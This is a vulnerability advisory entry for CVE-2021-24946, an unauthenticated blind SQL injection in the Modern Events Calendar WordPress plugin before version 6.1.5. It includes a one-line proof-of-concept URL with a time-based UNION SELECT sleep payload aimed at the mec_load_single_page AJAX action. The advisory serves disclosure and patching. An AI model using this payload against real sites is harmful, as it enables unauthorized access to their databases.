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WordPress Plugin Vulnerabilities

Modern Events Calendar < 6.1.5 - Unauthenticated Blind SQL Injection

Description

The plugin does not sanitise and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users, leading to an unauthenticated SQL injection issue

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(10)%20--%20g 

Affects Plugins

modern-events-calendar-lite
Fixed in version 6.1.5

References

CVE
CVE-2021-24946

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
09871847-1d6a-4dfe-8a8c-f2f53ff87445

Timeline

Publicly Published

2021-11-15 (about 1 years ago)

Added

2021-11-15 (about 1 years ago)

Last Updated

2022-04-11 (about 9 months ago)

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